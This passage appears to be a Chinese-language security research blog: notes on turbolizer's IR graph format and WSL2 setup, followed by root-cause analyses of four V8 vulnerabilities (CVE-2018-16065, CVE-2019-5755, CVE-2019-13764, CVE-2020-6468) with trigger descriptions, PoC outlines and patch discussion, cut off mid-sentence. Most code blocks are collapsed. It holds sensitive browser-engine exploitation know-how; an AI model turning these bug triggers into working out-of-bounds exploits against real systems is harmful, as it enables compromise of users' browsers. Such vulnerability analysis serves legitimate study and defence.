opinfo:具体的结点信息,通常表示当前结点的ValueInputCount、EffectInputCount、ControlInputCount、ValueOutputCount、EffectOutputCount、ControlOutputCount。
表示方式如下:
“<ValueInputCount> v
<EffectInputCount> eff
<ControlInputCount> ctrl in,
<ValueOutputCount> v
<EffectOutputCount> eff
<ControlOutputCount> ctrl out”例如:“0 v 1 eff 1 ctrl in, 0 v 1 eff 0 ctrl out”
[其他结点]
以下是截取出的一个 Node 示例:
1 | { |
对应的结点如下:
一一对应以下便可以看出,其中的 id、label、title、properties、opinfo 以及 type 均显现在图中。
而 live、pos、opcode 以及 control 字段则是给 turbolizer.js 使用的。
注意到上图中的 “Inplace update in phase: Typed”,其中的 phase 则是 turbolizer.js 动态分析出的,不在 JSON 中记录。
我们可以注意到,IR图中的结点都有颜色,其中颜色貌似符合某种规律。
通过查阅 turbolizer.js 以及 在线 turbolizer 的 css 代码,turbolizer 将结点分为了以下几种结点,并设置了不同的颜色加以区分:
Control 结点:对于那些控制结点, 即 JSON 数据中 control 字段为 true 的结点,其颜色为黄色。
Input 结点:那些 opcode 为 Parameter 或 Constant 结点,其颜色为浅蓝色。
Live 结点(这其实不能算一类结点):即 live 字段为 true 的结点。其反向结点——DeadNode——的颜色会在原先颜色的基础上进行浅色化处理,例如以下图片。图片中的两个结点其类型相同,所不同的是左边的结点是 Dead,右边结点是 Live。
JavaScript结点:那些 opcode 以 JS 开头的结点,其颜色为橙红色。
Simplified 结点:那些 opcode 包含 Phi、Boolean、Number、String、Change、Object、Reference、Any、ToNumber、AnyToBoolean、Load、Store,但不是 JavaScript类型的结点。其颜色如下所示:
Machine 结点:除了上述四种结点以外,剩余的结点。颜色如下所示:
Edge 中的 Type 共有五种,分别是 value、context、frame-state、effect、control 以及最后一个 unknown。
以下是这些边的一些例子:
对于该边:
1 | { |
其边的视觉效果如下:
可以看到,对于 Value 边来说,是一条实线。
对于该边:
1 | { |
视觉效果如下:
可以看到,Context边也是一条实线。但在当前这个例子中,由于 Context 边只会由 Parameter[%context#4]
结点发出,因此不会与 Value 边混淆。
这里需要注意一下,Context 边只会存在于某个 Context 结点发出的所有边,即不会出现结点既发出 Context 边又发出 Value 边的情况。
如果有还请指正。
例子:
1 | { |
视觉效果:
可以看到,对于一条 frame-state 边,其视觉效果是一条 疏虚线。
frame-state 边一定是由一个 FrameState 结点发出的。
上图的另一条虚线是密虚线,所不同的是虚线的疏密程度。
例子:
1 | { |
视觉效果:
即 effect 边的显示效果是 密虚线。
例子:
1 | { |
视觉效果:
注意:与 value 边相同,control 边的显示效果也是一条实线。这意味着单单只看 IR 图的话,是无法将 Control 边和 Value 边区分开的。
WSL2 下可以直接执行 x86 程序,但需要从 WSL1 中升级上去。
两种操作均较为麻烦,因此这里记录了一点笔者走过的弯路。
直接复制以下指令至 wsl 中,执行完成之后 gcc / g++ 就可以成功编译 32 位程序并运行。
1 | # 启动32位支持层 |
但是,即便可以编译并运行32位程序,但仍然无法被 gdb 调试,即 64位的 gdb 无法调试 32 位的程序。
报错提示所选体系结构 i386 与报告的目标体系结构 i386:x86-64 不兼容:
1 | warning: Selected architecture i386 is not compatible with reported target architecture i386:x86-64 |
此时就必须折中,使用以下这种方法:
1 | # 在 qemu 中启动调试,端口号为 1234 |
不过这种方法有局限性,没办法将符号加载出来。
再一种更硬核的方式就是下载 gdb 源码并编译,不过暂且还没试过。
直到目前为止,WSL64 下运行与调试 32 位程序仍然存在较大的困难。
所以我选择在 VM 里调试 32 位程序 XD。
参考:
WSL2可以直接运行 32 位程序(感谢 @mudi-xu 的提醒),因此我们希望 WSL1 最好能在不重装原先 Ubuntu 系统的情况下,直接升级到 WSL2。
但需要注意的是:WSL2只能在18917 之后的版本中才有。请自行运行命令 winver
以查看 OS 内部版本,如果版本低了,则需要升级一下 Windows OS。(现在我准备升级 windows 了 呜呜呜)
具体操作如下
dism.exe /online /enable-feature /featurename:VirtualMachinePlatform /all /norestart
以启用“虚拟机平台”可选功能,之后重新启动计算机。wsl --list --verbose
以查看当前的 WSL 镜像及其版本。wsl --set-version <SubSystemName> 2
以升级 WSL1 至 WSL2。这可能需要几分钟的时间。wsl --list --verbose
以查看当前的 WSL 镜像 & 版本。wsl --set-default-version 2
以设置之后安装的 Linux 子系统都安装到 WSL2 中。注意点:WSL2 与 VMware 15 不兼容。如果需要两者兼得则务必升级 VMware 至 16 版本。
升级VMware时无需卸载之前的版本,可以直接双击新安装包升级。
升级时,务必勾选启用 Windows Hypervisor Platform,以支持 WSL2 和 VMware 的兼容。
WSL2在使用过程中,可能报错: 参考的对象类型不支持尝试的操作。
有两种解决方法:
第一种(不推荐):执行 netsh winsock reset
,重置 winsock,并重启。但这种方法只能是临时性质的。
第二种(推荐):下载 NoLsp.exe,并以管理员权限执行以下命令:
1 | NoLsp.exe c:\windows\system32\wsl.exe |
等到出现 Success!
之后就可以正常使用 WSL2了。
为什么解法2的方式如此独特呢?Proxifier 开发者发现:如果Winsock LSP DLL被加载到其进程中,则wsl.exe将显示此错误。因此最简单的解决方案是使用WSCSetApplicationCategory WinAPI调用wsl.exe来防止这种情况。
这个调用在HKEY LOCAL MACHINE\SYSTEM\CurrentControlSet\Services\WinSock2\Parameters\AppId Catalog
创建了一个wsl.exe的条目:
而这就是解法2的具体技术细节。
参考
CVE-2018-16065 是 v8 中 EmitBigTypedArrayElementStore
函数内部的一个漏洞。该漏洞在检查相应 ArrayBuffer 是否被 Detach(即是否是neutered
)之后,执行了一个带有副作用的(即可调用用户 JS callback 代码的) ToBigInt
函数。而用户可在对应回调函数中将原先通过上述检查的 BigIntArray (即不是 neutered 的 TypedArray)重新变成 neutered
。
这将使一部分数据被非法写入至一块已经 Detached 的 ArrayBuffer上。如果 GC 试图回收该 ArrayBuffer 的 backing store ,则会触发 CRASH。
切换 v8 版本,然后编译:
1 | git checkout 6.8.275.24 |
在执行 JS 代码 BigInt64Array.of
函数时,v8 将调用以下 Builtin_TypedArrayOf
函数:
1 | // ES6 #sec-%typedarray%.of |
对于 BigIntArray 这类 TypedArray,v8 将在该函数中继续调用 EmitBigTypedArrayElementStore
函数,并在其中完成剩余的操作。
EmitBigTypedArrayElementStore
函数较为简单,先看看源码:
1 | void CodeStubAssembler::EmitBigTypedArrayElementStore( |
我们可以很容易的发现,如果 BigIntArray 的 ArrayBuffer 是 neutered 的,那么就直接跳到指定的 Label 处进行异常处理,不会再继续向下执行,也就是说 不会再将 elements 写入至 backing_store。
但 ToBigInt
函数有点特殊,它将调用 Object.valueOf 属性的函数来获取值,而这个函数是可以被用户定义的。如果我们在该函数中,将当前 BigIntArray 的 ArrayBuffer 设置为 neutered ,那么下面执行写入操作时,数据写入的位置将是刚刚被 detach 的 ArrayBuffer 中。这是一步非法操作,如果 GC 试图回收该 ArrayBuffer 的 backing store ,那么这将使 GC 触发崩溃。
这里需要说明一下 neutered
的含义。即什么样的 ArrayBuffer 将会被视为 neutered 的?如何设置某个 Array 为 neutered ?
通过查阅 v8 docs ,我们可以简单了解到,Neuter 这个操作,会将 Buffer 和所有 typed Array 的长度设置为0,从而防止JavaScript访问底层 backing_store。
我们再来看一下 v8 中的一个 Runtime 函数:ArrayBufferNeuter
:
1 | RUNTIME_FUNCTION(Runtime_ArrayBufferNeuter) { |
1 | void JSArrayBuffer::Neuter() { |
简单读一下源码,我们也可以很容易的发现,ArrayBuffer 的 neuter 操作 就是删除 ArrayBuffer 中的 backing store 并重置其 length 字段。
综上所述,neuter 的具体操作已经非常明确了,如果不明确的话还可以使用 %DebugPrint
比较一下 neuter 前后的差异。
接下来我们看看 Poc。
POC 如下:
1 | // flags: --allow-natives-syntax --expose-gc |
分析上面的 POC,可以理出一条这样的漏洞触发过程:
EmitBigTypedArrayElementStore
函数中的 ArrayBuffer neutered 检查,进入 ToBigInt 函数。%ArrayBufferNeuter
,释放 array 中 ArrayBuffer 的 backing_store。EmitBigTypedArrayElementStore
函数中的 ToBigInt 函数将返回,此时继续执行,试图将 element 写入之前保存的 backing_store 里。将值写入至 Detached ArrayBuffer 时,因为其 heap chunk 仍然是 allocated 的,因此不存在 UaF。
gdb 可能的两种崩溃输出如下:
第一种
1 | pwndbg> r |
第二种
1 | pwndbg> r |
该漏洞的补丁非常简单:将调用 ToBigInt 函数的那一行语句,提至条件判断语句之前。这样就可以使 user JS callback 导致的 Neutered 也被 if 条件判断给捕获。
CVE-2019-5755 是一个位于 v8 turboFan 的类型信息缺失漏洞。该漏洞将导致 SpeculativeSafeIntegerSubtract 的计算结果缺失 MinusZero (即 -0)这种类型。这将允许 turboFan 计算出错误的 Range 并可进一步构造出越界读写原语,乃至执行 shellcode。
复现用的 v8 版本为 7.1.302.28
(或者commit ID a62e9dd69957d9b1d0a56f825506408960a283fc
前的版本也可)
切换 v8 版本,然后编译:
1 | git checkout 7.1.302.28 |
启动 turbolizer。如果原先版本的 turbolizer 无法使用,则可以使用在线版本的 turbolizer
1 | cd tools/turbolizer |
turboFan 的 Typer 将 SpeculativeSafeIntegerSubtract 的类型设置为与 kSafeInteger 的交集,但这里没有考虑到 -0
(即 MinusZero)的情况。 例如:算式 ((-0) - 0)
应该返回 -0
,但是由于 Typer 取的是两 个类型的交集,因此 typer 将忽略 MinusZero (-0) 的这种情况。而这种 wrong case 可以用来执行错误的范围计算。
以下是 SpeculativeSafeIntegerSubtract 函数(漏洞函数)以及 SpeculativeSafeIntegerAdd 函数(对照函数)的源码:
1 | Type OperationTyper::SpeculativeSafeIntegerAdd(Type lhs, Type rhs) { |
以下是该漏洞的 PoC:
1 | function foo(trigger) { |
正常来说,foo(true)
应该始终返回 true (因为 $-0 - 0 = -0$),但优化后产生的结果却是 false。
我们可以观察一下 turbolizer 中的信息:
可以看到,对于 $${MinusZero | Range(0,0)} - Range(0,0)$$ 这种情况,SpeculativeSafeIntegerSubtract 的 Type 中并没有 MinusZero 这种类型。
因此,turboFan 将始终在 TypedLoweringPhase - TypedOptimization::ReduceSameValue
中,把SameValue 结点优化成 false,因为 $MinusZero \ne Range(0, 0)$。
SameValue 结点是通过 JS 中Object.is
函数调用来生成的,其目的是用于判断左右操作数是否相同。
具体来说是通过以下调用链生成:
1 | void InliningPhase::Run(...) |
其中,函数 ReduceObjectIs 的源码如下:
1 | // ES section #sec-object.is |
Typer 将在 TyperPhase 阶段试着计算出 SameValue 结点的类型,它将沿着以下调用链
1 | Type Typer::Visitor::TypeSameValue(Node* node) |
调用到OperationTyper::SameValue
函数并计算其类型:
1 | Type OperationTyper::SameValue(Type lhs, Type rhs) { |
当 SameValue 结点计算出 确定性的类型(即 true / false)后,turboFan 将在 TypedLoweringPhase 阶段中的 ConstantFoldingReducer 对 SameValue 进行结点替换,用之前计算出的 HeapConstant 替换当前的 SameValue 结点:
1 | Reduction ConstantFoldingReducer::Reduce(Node* node) { |
若 SameValue 无法得到确定性的类型,则将在 TypedLoweringPhase 中通过 TypedOptimization::ReduceSameValue
函数进行另一种优化。以下是该函数的源码,在该源码中我们可以了解到 ReduceSameValue 的详细执行过程:
1 | Reduction TypedOptimization::ReduceSameValue(Node* node) { |
我们再简单了解一下 SpeculativeSafeIntegerSubtract 和 SpeculativeNumberSubtract 结点的生成方式。这两种结点的生成都将通过以下调用链:
1 | bool PipelineImpl::CreateGraph() |
调用到最终的目标函数 SpeculativeNumberOp
:
1 | const Operator* SpeculativeNumberOp(NumberOperationHint hint) { |
在 TryBuildNumberBinop 函数中,turboFan 试图从 feedback_vector 中获取操作数的相关信息。操作数信息一共有以下五种类型:
1 | // A hint for speculative number operations. |
当且仅当操作数类型为 NumberOperationHint::kSignedSmall
或 NumberOperationHint::kSigned32
时,当前减法才会被视为是 Safe 的,因此创建 SpeculativeSafeIntegerSubtract 结点;否则创建保守的 SpeculativeNumberSubtract 结点。
最后附带说明一下部分数字类型的范围:
参照源码 src/compiler/types.h
一些基础类型
1 | ON OS32 N31 U30 OU31 OU32 ON |
Integral32:$[-2^{31}, 2^{32})$
PlainNumber:任何浮点数,不包括 $-0$
Number:任何浮点数,包括 $-0$、$NaN$
Numeric:任何浮点数,包括 $-0$、$NaN$ 以及 $BigInt$
尽管理论上可以通过该漏洞构造越界读取原语,但实际利用起来仍然存在一个无法解决的问题。
即便如此,我们仍然可以在尝试构造漏洞利用中加深对 turboFan 的理解。
初始 Poc 如下
1 | function foo(trigger) { |
从 turbolizer 中可以看到,不管传入函数的参数是什么,最后都将会把 SameValue 结点直接优化为 HeapConstant<false>,同时运行时 idx 值也是 false,两个结果相同,因此无法利用漏洞。
为什么运行时 idx 值也是 false 呢?因为当生成了 HeapConstant<false>之后,turboFan 就会直接优化变量 idx 的计算过程,直接取结果值 false:
我们希望,传入 -0 时(即传入参数 true),编译时SameValue 结点类型为 false,但运行时的结果为 true,这样就会有一个范围差,我们便可以利用它来计算出错误的范围。换句话说,我们需要让 turboFan 认为编译时的 SameValue 结点值为 0,但运行时的值是 1,这样我们才可以利用这个差值搭配乘法进行数组越界。
编译时的值:turboFan 执行 type 时所确认的值/范围,即静态分析时确定的数值。
运行时的值,终端调用 v8 执行 JS 程序时最终计算出的值。
因此,我们就必须禁止 turboFan 为 SameValue 结点生成 HeapConstant<false>结点,也就是说我们就必须在执行 simplified lowering 前的所有 ConstantFoldingReducer 时,不精确计算出 SameValue 的类型,即推迟该节点被 type 为 HeapConstant 的时机至执行完所有 ConstantFoldingReducer 之后。否则一旦出现 HeapConstant,则运行时的 idx 变量值就固定为该 HeapConstant,不会再重新计算。
那么,我们该让 SameValue 在什么时候被精确 type 呢?我们先看一下整个 pipeline 中运行 typer 的地方有哪些:
后两种是通过以下宏定义来调用 typer(咋一看还没认出来):
1
2
3
4
5
6
7
8
9
10 switch (node->opcode()) {
case IrOpcode::k##Name: { \
new_type = op_typer_.Name(input0_type, input1_type); \
break; \
}
SIMPLIFIED_NUMBER_BINOP_LIST(DECLARE_CASE)
// ...
}
而 ConstantFoldingReducer 出现在 TypedLoweringPhase
和 LoadEliminationPhase
。因此我们只能让 SameValue 在 SimplifiedLoweringPhase 阶段被精确 type。
但需要注意的是,TypedOptimization in TypedLoweringPhase 将会对 SameValue 进行一次 reduce 操作。我们必须阻止它将 SameValue 结点优化成 ObjectIsMinusZero 结点,因为该结点将不会在 simplifedLoweringPhase 中进行 type(只会进行节点替换,替换成 Int32Constant)。
综合上面的要求,我们不能让 turboFan 在 EscapeAnalysisPhase 之前的 Phase 中,确认出 SameValue 的第二个 操作数类型为 MinusZero。因此,就需要引入一点点 EscapeAnalysis 的内容 (完整内容请查阅 Escape-Analysis-in-V8):
简单来说,EscapeAnalysis 可以但不限于将一个 LoadField 操作转换成一个栈变量读取操作。这样,在 EscapeAnalysisPhase 之前的 Phase,由于 LoadField 结点的存在,自然就无法获取到对应值的类型。因此笔者一开始将 Poc 修改为如下:
1 | function foo(trigger) { |
需要注意的是,Escape Analysis 对函数的 type feedback有一定的要求。如果目标函数只运行了一次,那么 escape analysis 分析效果非常的差,基本上无法分析出任何有用的东西,包括刚刚说的 LoadField 替换也无法完成。因此必须在优化前多执行几次目标函数。
同时,Escape Analysis 的目标对象,必须有个修饰符 let / var,否则无法替换 LoadField 结点,这其中主要是因为作用域的关系。
但实际调试发现, LoadField 结点的替换将会被 LoadElimination( 位于 LoadEliminationPhase) 截胡。也就是说,在 LoadEliminationPhase 时,obj.a 就会被替换成 -0。相关代码如下:
1 | Reduction LoadElimination::ReduceLoadField(Node* node) { |
但 LoadEliminationPhase 中存在 ConstantFoldingReducer,因此最终 SameValue 结点还是会被替换成 HeapConstant。所以我们还是必须想办法绕过 LoadElimination 的优化,进入 EscapeAnalysis 中的优化。
折腾了相当长的时间,终于找到了绕过的方法,以下是修改后的 PoC,与之前相比,加了一行略微奇怪的 console.log 函数调用:
这个绕过方法是蒙出来的,把代码改复杂一点有时可以非常玄学的绕过某些优化。
1 | function foo(trigger) { |
因此我们便可以绕过LoadElimination:
在 EscapeAnalysisPhase 完成之后,彻底完成所有的基础工作:
之后笔者稍微修改了一下代码,添加上数组访问操作,看看能否成功优化 checkbounds 结点(原先的代码只是获取索引值):
1 | function foo(trigger) { |
观察 turbolizer,可以发现 checkbounds 结点被成功优化:
编译生成的汇编代码貌似也没什么问题:
Builtin_SameValue 的函数调用规范:%rdx 和 %rax 分别为左右两个操作数。
看上去应该可以成功越界读取,但实际执行时发现读取出的仍然是索引值为0的数组元素(心态崩了TAT)。
笔者动态调试了一下编译后 JS 函数的汇编代码,发现变量 wrongNum 被截断成整型,之后与 0x1 进行比较:
使用
--trace-turbo
参数 结合 turbolizer ,即时查看编译后函数的内存地址;同时搭配内置函数%SystemDebug()
,便于调试。
而这实际上是 ChangeInt31ToTaggedSigned 结点的锅:
由于这个 ChangeInt31ToTaggedSigned 结点在 Simplified Lowering 阶段中生成,不可优化,因此 exp 编写就没办法继续下去,只能就此终止。
该漏洞补丁的详细信息请查阅此处
1 | Type OperationTyper::SpeculativeSafeIntegerSubtract(Type lhs, Type rhs) { |
1 | void VisitSpeculativeIntegerAdditiveOp(Node* node, Truncation truncation, |
漏洞修复后,原先 Poc 执行的 turbolizer 视图如下:
可以看到,SpeculativeSafeIntegerSubtra 的 Type 包含了 MinusZero 这种类型,因此下面的 SameValue 的类型也不再固定为 false, 而是不确定的 Boolean。
CVE-2019-13764 是 v8 中的一个位于 JIT TyperPhase TypeInductionVariablePhi
函数的漏洞。我们可以通过这个例子简单学习一下 TyperPhase 中对 InductionVariablePhi 的处理方式,以及越界读取构造方式。
复现用的 v8 版本为 7.8.279.23
(chromium 78.0.3904.108) 。
切换 v8 版本,然后编译:
1 | git checkout 7.8.279.23 |
启动 turbolizer。如果原先版本的 turbolizer 无法使用,则可以使用在线版本的 turbolizer
1 | cd tools/turbolizer |
在循环变量分析中,当initial_type 与 increment_type 相结合,则可以通过两个不同符号的无穷大相加产生NaN结果(即 -inf + inf == NaN)。这将进入 turboFan 认为是 unreachable code 的代码区域,触发 SIGTRAP 崩溃。
以下是漏洞函数的源码:
1 | Type Typer::Visitor::TypeInductionVariablePhi(Node* node) { |
上述源码只是简单的判断了一下 initial_type 和 increment_type 的类型是否全为 Integer,如果不满足条件则使用保守的 typer;但这其中并没有判断出现 NaN 的情况,因此针对于某些 testcase 会产生问题。
当 initial value 为 infinity, increment value 为 -infinity,即类似于以下这种形式的循环:
1 | for(let a = Infinity, a >= 1; a += (-Infinity)) {} |
则在处理归纳变量 i 的phi结点时,由于 inital_type 和 increment_type 都是 integer 类型的,因此将不会回退至保守typer计算 type,而是继续向下执行。那么将会以下述过程执行至 return 语句,返回一个 -inf ~ inf
的范围给当前的 InductionVariablePhi 结点:
具体的细节均以注释的形式写入代码中。
1 | Type Typer::Visitor::TypeInductionVariablePhi(Node* node) { |
在 min 值的赋值处(即[4]、[5]),原先的代码预期 min 值范围为
1 | initial_type.Min <= min <= bound_min + increment_type.Min |
但由于 initial_type.Min == inf;increment_type.Min == -inf,因此 min 值将沿以下链进行变化:
1 | -inf(初始值) => -inf(bound_min+increment_min) => -inf(与initial value比较后的结果) |
这样使得最终的 min 值为 -inf。
错误的 Phi 结点的 Range 将导致错误的类型传播。这样会使得控制流非常容易地进入 deopt 环节。该漏洞触发的 int3 断点就是位于编译生成的 JIT 代码中 deopt 环节内部。由于 turboFan 中传播了错误的类型,使得 deopt 无法识别出该调用的 deopt 函数,因此控制流将陷入死循环,频繁触发本不该执行到的 int3 断点。
以下是 turboFan 第一次编译生成的汇编代码:
1 | 0x118a80d82e20 0 488d1df9ffffff REX.W leaq rbx,[rip+0xfffffff9] |
Issue 中给出的 Regress 单元测试文件如下(也可以称为PoC):
1 | function write(begin, end, step) { |
成功触发 SIGTRAP:
查看Turbolizer,可以发现这个归纳变量 i
的范围为 -inf ~ inf
一个循环内部会有多个 Phi 结点,以PoC为例,由于变量begin、i、step的值分别从循环内部和循环外部的数据流流入,因此是 Phi 类型的结点。
详细输出如下。可以看到 bound_type、initial_type 以及 increment_type 的范围与我们所预期的相符,因为 bound value 和 initial value 分别是传入 write 函数的 1
和 Infinity
,而 increment value 为 $1 - inf = -inf$。但归纳变量 i
的范围却错误的设置为 -inf ~ inf
,而不是 inf ~ inf
。
同时我们还可以注意到此时的 initial_type value + increment_type value = inf + (-inf) = NaN
以下部分输出,是打patch后的输出结果。
理解完上面的漏洞原理后,我们便可以略微修改一下Poc,更加进一步的理解到其中的细节:
1 | function write(step) { |
笔者原本以为这样的漏洞有点鸡肋,但直到又遇上了这个漏洞的子漏洞 - Issue 1051017: Security: Type inference issue in Typer::Visitor::TypeInductionVariablePhi
这里只简单的说一下,通过简单的绕过,我们可以使 InductionVariable 的值为 NaN,但 type 为 kInterger。这样就会导致 turboFan 推测的类型与实际类型不符。于是我们可以根据这个来编写 exp 达到 OOB 的目的。
由于之前的补丁修改了 checkBounds 的优化机制,因此我们没有办法再通过优化 checkBounds 来进行越界读写。但我们可以利用 ReduceJSCreateArray
的优化机制进行越界读写,具体原因是,该函数将使用 length 的推测值来分配 backing_store 的大小,但只会在运行时将 length 的运行时值赋值到该数组的 length 字段。如果 length 的推测值小于运行时值,那就可以进行 OOB。
更具体地细节可以进入上面 Isuue 链接中学习,由于 Issue 中利用细节较为详尽,因此此处不再赘述。
漏洞修复见如下链接 - revision,其中增加了对 NaN 的检测。
如果 initial_type 和 increment_type 相加后为 NaN ,则将当前分析回退至更保守的 Phi 类型处理。
需要注意的是,该补丁仍然没有包含所有可能的 NaN 情况。具体请看 Issue 1051017: Security: Type inference issue in Typer::Visitor::TypeInductionVariablePhi
1 |
|
CVE-2020-6468 是 v8 中的一个位于 DeadCodeElimination::ReduceDeoptimizeOrReturnOrTerminateOrTailCall
函数的 JIT 漏洞。通过该漏洞攻击者可触发类型混淆并修改数组的长度,这会导致任意越界读写并可进一步达到 RCE。
具体的说,就是可以在 CheckMaps 结点前向目标对象内部写入 -1,在被认出对象类型前成功修改数组长度。
测试用的 v8 版本为 8.1.307
。
切换 v8 版本,然后编译:
1 | git checkout 8.1.307 |
启动 turbolizer。如果原先版本的 turbolizer 无法使用,则可以使用在线版本的 turbolizer v8.1
v8 tools 的根目录在 此处
v8 中内置了一些 runtime 函数,可以在启动 d8 时追加--allow-natives-syntax
参数来启动内置函数的使用。
%PrepareFunctionForOptimization
是 v8 众多内置函数中的其中一个。该函数可以为 JIT 优化函数前做准备,确保 JSFunction 存在 FeedbackVector等相关的结构(在必要时甚至会先编译该函数)。
1 | // 调用链如下 |
由于该内置函数只是为对应的 JSFunction 准备 FeedbackVector(请记住这个准备操作),因此可以通过多次调用目标函数来准备 FeedbackVector,替换该内置函数的调用。
Throw
类型的结点将以如下调用链添加进 BytecodeGraph 中:
1 | void BytecodeGraphBuilder::BuildGraphFromBytecode(...) |
我们可以直接在 JS 代码中插入一条 throw
语句来生成一个 Throw
字节码:
实际上,Throw 结点在v8中频繁产生。归根到底,是因为对于图中控制流不可能到达的结点,turboFan 会将其更换成 throw 结点,这与 v8 C++ 代码中 UNREACHABLE
函数的使用,有着异曲同工之处。
Terminate
类型的结点,将以如下调用链,添加进 BytecodeGraph 中:
1 | void BytecodeGraphBuilder::BuildGraphFromBytecode(...) |
添加的具体代码见如下:
1 | void BytecodeGraphBuilder::Environment::PrepareForLoop( |
但需要注意的是,并不是一执行BuildGraphFromBytecode
函数就一定能添加 terminate 结点,该添加操作还受到一个判断条件的约束,只有满足 LoopHeader 的 Bytecode 才能添加 terminate 结点:
1 | void BytecodeGraphBuilder::BuildLoopHeaderEnvironment(int current_offset) { |
为了通过该 LoopHeader 的判断条件,我们需要继续向下探究。LoopHeader 实际以如下调用链添加进 BytecodeAnalysis 实例中:
1 | void BytecodeGraphBuilder::BuildGraphFromBytecode(...) |
通过审计 BytecodeAnalysis::Analyze 函数的代码,我们可以发现, 只有当 bytecode 为 Bytecode::kJumpLoop
时, LoopHeader 才会被添加进 BytecodeAnalysis 实例中:
1 | void BytecodeAnalysis::Analyze() { |
那么,什么样的 JS 代码生成的 bytecode 中会有 Bytecode::kJumpLoop
呢?通过测试我们发现,任何的循环都会有JumpLoop
字节码。JumpLoop
实际上与汇编中循环末尾的 JMP 指令没什么太大的差异,只是 v8 中的字节码显著标识该 Jump 操作跳转回 Loop 里。
以下是一个测试用的 JS 代码:
1 | for(let a = 0; a < ii; a++) |
对应生成的 bytecode:
1 | 15 E> 0x11ce08250232 @ 0 : a7 StackCheck |
通过在 turbolizer 中观察生成的图,可以看到在 BytecodeGraphBuild 阶段成功生成了一个 Terminate 结点:
DeadCodeElimination 分别位于 InliningPhase、TypedLoweringPhase等等,主要将一些 DeadCode 从图中去除,在此我们只侧重讨论其中的部分优化函数。
在上文中我们已经说明,JS 代码中任意的循环均会生成 JumpLoop 的字节码,并进一步生成 Terminate 结点。
但在实际的动态调试过程中,我们发现该 Terminate 结点在 BytecodeGraphBuilder 阶段生成后,可在 inlining 优化中的 DeadCodeElimination被优化掉,当且仅当 Loop 结点只有一个 input。
其中该结点的关键优化函数即为ReduceLoopOrMerge:
1 | Reduction DeadCodeElimination::ReduceLoopOrMerge(Node* node) { |
那有没有什么办法能绕过 Loop 结点的优化操作呢?那就是提高函数调用次数,使得增加其 type feedback(调试坑点之一!)。
以下面这个 test case 为例:
1 | function opt_me() { |
将会生成如下的图。注意 Loop 结点只有一个 input,此时一旦 DeadCodeElimination 遇到 Loop 结点,该优化将会立即消除 Terminate 结点。
而倘若多运行几次目标函数,即:
1 | function opt_me() { |
那么就会产生以下大相径庭的图,其中 Loop 又多了一个 JSCall 的 input,因此 terminate 结点将在执行完 inlinePhase 后被保留:
Terminate 结点只有两个 input ,分别是 EffectPhi (Effect Node) 以及 Loop 结点 (Control Node)。
该函数对 Terminate 结点的优化较为简单:若当前结点存在 dead input,则只重设了该结点的 input,并设置 opcode 为 kThrow
,即将当前 Terminate 结点更新为 Throw 结点:
1 | Reduction DeadCodeElimination::ReduceDeoptimizeOrReturnOrTerminateOrTailCall( |
JSInliningHeuristic 位于 InliningPhase,主要将一些可被内联的函数进行内联。
JSInliningHeuristic::Reduce
将会对传入的 node 类型进行判断,如果是 JSCall
或者 JSConstruct
结点,则进行下一步的判断,直到最后将当前结点加入至 candidates_ 集合中。这里的 Reduce 操作只是获取了待内联的函数集合,真正的内联操作位于 Finalize 函数中。
1 | Reduction JSInliningHeuristic::Reduce(Node* node) { |
要想将一个目标的内联函数加入至 candidates_ 集合中,最少要通过 Reduce 函数中的两个关键 check:
如果目标函数执行的次数较多,即 Feedback Is Sufficient
,那么每个 call 都会生成一个 JSCall 结点,同时第二个 check 也会被通过;但如果目标函数执行的次数较少(这种情况尤为发生在调试时),那么 JSCall 结点就不会被插入至图中,更别说通过第二个 Check 了。
以下阐述了目标函数执行情况 对 产生 JSCall 结点之间的影响,我们先写一段 test case:
1 | function test() |
输出函数 opt_me 的字节码,可以发现:调用 test 函数所对应的字节码为CallUndefinedReceiver0
,即建立 JSCall 结点的调用链如下:
1 | void BytecodeGraphBuilder::VisitCallUndefinedReceiver0() |
对应的 最底层BuidCall
函数源码如下:
1 | void BytecodeGraphBuilder::BuildCall(ConvertReceiverMode receiver_mode, |
我们发现,只有当 TryBuildSimplifiedCall 函数返回的结果不满足 IsExit 条件时, JSCall 结点才会被插入至图中。而进一步跟踪,发现只有当函数的Feedback充足时,才不会满足 IsExit 条件,并将插入 JSCall 结点。
1 | Node* JSTypeHintLowering::TryBuildSoftDeopt(FeedbackSlot slot, Node* effect, |
综上,当函数调用次数较多时,JSCall 才会正常插入至图中,并为接下来内联目标函数提供了有力的基础。
)_
JSInliningHeuristic::Finalize
函数要做的操作很简单,取出 candidates_ 集合中的结点并进行内联操作:
1 | void JSInliningHeuristic::Finalize() { |
JSInliningHeuristic::Finalize
函数中所调用的InlineCandidate
函数,将会用另一个函数的子图来扩展当前 JSCall/JSConstruct结点。
这整个将某个函数内联进图的操作,关键在于:
InlineCandidate
函数中,通过 BytecodeGraphBuilder 建立,因此新图中的所有结点尚未经过任何的优化。所以,另一个函数中的 Loop & Terminate 结点均可保留,即通过 inliningPhase 后的图,仍然可以保留 Loop & Terminate 结点。
JIT 中 EffectControlLinearizationPhase 主要完成以下工作:
Scheduler
Scheduler
重建控制流(control chain)和效果流(effect chain)也就是说,重建控制流和效果流的这部分操作位于 Scheduler
类中。
而我们可以通过以下调用链,调用至 AddThrow 函数
1 | bool PipelineImpl::OptimizeGraph(...) |
Scheduler 建立 CFG 时将会遍历控制结点(control node),如果遍历至 IrOpcode::kThrow
结点,则将会进行以下操作:
获取 throw 结点的控制结点 throw_control
获取该控制结点的前驱(Predecessor)基础块 throw_block
设置 throw_block 的末尾控制流结点类型为 BasicBlock::kThrow
即设置末尾可终止该基本块的控制流结点的类型为
BasicBlock::kThrow
为 throw_block 基本块设置其控制流输入结点(control input)为当前 kThrow 结点。
该 control input 应该是基本块的最后一个结点。
综上,若建立CFG时遍历到了 throw 控制流结点,则将
- 获取 throw 控制流结点的前驱基本块
- 设置该基本块末尾的控制流结点类型以及控制流输入结点
需要注意的是,基础块的控制流指向是从后往前的,因此 throw 控制流结点才会去处理前驱基础块末尾结点 (见第三个参考链接)
DeadCodeElimination::ReduceDeoptimizeOrReturnOrTerminateOrTailCall
将会对 Terminate 结点进行处理,如果 Terminate 结点存在 Dead Input,则将其替换为 Throw 结点。由于 Terminate 结点并非实际控制流结点的一部分,因此这种替换成 Throw 结点的方式将会带来一些问题。
1 | Reduction DeadCodeElimination::ReduceDeoptimizeOrReturnOrTerminateOrTailCall( |
“Terminate 结点并非实际控制流结点”。这句话看上去有点难以理解,但实际上我们可以沿以下调用链,在InstructionSelector::VisitNode
函数中找到答案:
1 | bool PipelineImpl::OptimizeGraph(...) |
在VisitNode
函数中,IrOpcode中的kStart
、kLoop
